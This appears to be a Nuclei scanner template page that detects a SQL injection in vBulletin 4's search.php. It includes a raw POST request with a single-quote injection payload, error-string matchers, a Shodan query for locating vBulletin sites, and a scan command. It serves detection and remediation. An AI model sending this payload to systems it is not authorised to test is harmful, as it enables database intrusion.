vBulletin `Search.php` - SQL Injection

ID: vbulletin-search-sqli

Severity: high

Author: MaStErChO

Tags: vbulletin,sqli

Description

vBulletin 4 is vulnerable to an SQL injection vulnerability, which may allow an attacker can execute malicious SQL statements that control a web application’s database server.

YAML Source

id: vbulletin-search-sqli

info:
  name: vBulletin `Search.php` - SQL Injection
  author: MaStErChO
  severity: high
  description: |
    vBulletin 4 is vulnerable to an SQL injection vulnerability, which may allow an attacker can execute malicious SQL statements that control a web application's database server.
  remediation: Upgrade to the latest version of vBulletin.
  reference:
    - https://www.exploit-db.com/exploits/17314
    - https://web.archive.org/web/20181129123620/https://j0hnx3r.org/vbulletin-4-x-sql-injection-vulnerability/
  classification:
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query: http.component:"vBulletin"
  tags: vbulletin,sqli

http:
  - raw:
      - |
        POST /search.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        contenttypeid=7&do=process&humanverify=1&cat[]=-1%27

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "type=dberror"
          - "MySQL Error"
        condition: and

      - type: status
        status:
          - 200
          - 503
        condition: or
# digest: 4a0a004730450221008d59deac626f15009ae439fc9992ce93eee3b7d05ce5d961ea658bb8ac36fc5202204d95c0c959bf9b37f133cbed5f93383cfa3e38ac62d3315acab8c3fd8d35379e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/vbulletin/vbulletin-search-sqli.yaml"

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